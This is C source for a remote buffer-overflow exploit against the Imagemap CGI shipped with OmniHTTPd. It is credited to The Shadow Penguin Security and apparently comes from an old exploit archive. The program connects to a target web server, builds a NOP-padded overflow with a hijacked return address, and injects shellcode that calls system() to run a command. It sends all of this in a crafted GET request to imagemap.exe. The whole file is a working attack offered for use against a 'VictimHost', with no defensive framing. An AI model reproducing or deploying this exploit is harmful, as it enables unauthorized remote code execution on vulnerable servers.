/*=============================================================================
   Imagemap 1.00.00 CGI Exploit (Distributed with OmniHTTPd 1.01 and Pro2.04)
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h>
#include    <winsock.h>

#define     MAXBUF          2000
#define     RETADR          348
#define     JMPADR          344
#define     HTTP_PORT       80

unsigned int mems[]={
  0xBFB50000, 0xBFB72FFF,  0xBFDE0000, 0xBFDE5FFF,
  0xBFE00000, 0xBFE0FFFF,  0xBFE30000, 0xBFE42FFF,
  0xBFE80000, 0xBFE85FFF,  0xBFE90000, 0xBFE95FFF,
  0xBFEA0000, 0xBFF1EFFF,  0xBFF20000, 0xBFF46FFF,
  0xBFF50000, 0xBFF60FFF,  0xBFF70000, 0xBFFC5FFF,
  0xBFFC9000, 0xBFFE2FFF,
  0,0};

unsigned char exploit_code[200]={
  0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,
  0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
  0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,
  0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,
  0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
  0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,
  0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,
  0xFF,0x00
};

unsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";

unsigned int search_mem(unsigned char *st,unsigned char *ed,
                        unsigned char c1,unsigned char c2)
{
  unsigned char   *p;
  unsigned int    adr;

  for (p=st;p<ed;p++)
    if (*p==c1 && *(p+1)==c2)
      {
        adr=(unsigned int)p;
        if ((adr&0xff)==0) continue;
        if (((adr>>8)&0xff)==0) continue;
        if (((adr>>16)&0xff)==0) continue;
        if (((adr>>24)&0xff)==0) continue;
        return(adr);
      }
  return(0);
}

main(int argc,char *argv[])
{
  SOCKET               sock;
  SOCKADDR_IN          addr;
  WSADATA              wsa;
  WORD                 wVersionRequested;
  unsigned int         i,ip,p1,p2;
  static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];
  struct hostent       *hs;

  if (argc<2)
    {
      printf("usage: %s VictimHost\n",argv[0]);
      return -1;
    }
  wVersionRequested = MAKEWORD( 2, 0 );
  if (WSAStartup(wVersionRequested , &wsa)!=0)
    {
      printf("Winsock Initialization failed.\n");
      return -1;
    }
  if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
    {
      printf("Can not create socket.\n");
      return -1;
    }
  addr.sin_family     = AF_INET;
  addr.sin_port       = htons((u_short)HTTP_PORT);
  if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
      if ((hs=gethostbyname(argv[1]))==NULL)
        {
          printf("Can not resolve specified host.\n");
          return -1;
        }
      addr.sin_family = hs->h_addrtype;
      memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
  if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR)
    {
      printf("Can not connect to specified host.\n");
      return -1;
    }
  memset(buf,0x90,MAXBUF);
  buf[MAXBUF]=0;
  for (i=0;;i+=2)
    {
      if (mems[i]==0) return FALSE;
      if ((ip=search_mem((unsigned char *)mems[i],
                         (unsigned char *)mems[i+1],0xff,0xe3))!=0) break;
    }
  buf[RETADR  ]=ip&0xff;
  buf[RETADR+1]=(ip>>8)&0xff;
  buf[RETADR+2]=(ip>>16)&0xff;
  buf[RETADR+3]=(ip>>24)&0xff;
  buf[JMPADR  ]=0xeb;
  buf[JMPADR+1]=0x06;

  strcat(exploit_code,cmdbuf);
  p1=(unsigned int)LoadLibrary;
  p2=(unsigned int)GetProcAddress;
  exploit_code[0x0d]=p1&0xff;
  exploit_code[0x0e]=(p1>>8)&0xff;
  exploit_code[0x0f]=(p1>>16)&0xff;
  exploit_code[0x10]=(p1>>24)&0xff;
  exploit_code[0x1e]=p2&0xff;
  exploit_code[0x1f]=(p2>>8)&0xff;
  exploit_code[0x20]=(p2>>16)&0xff;
  exploit_code[0x21]=(p2>>24)&0xff;

  memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
  sprintf(packetbuf,"GET /cgi-bin/imagemap.exe?%s\r\n\r\n",buf);
  send(sock,packetbuf,strlen(packetbuf),0);
  closesocket(sock);
  printf("Done.\n");
  return FALSE;
}
/*                    www.hack.co.za              [2000]*/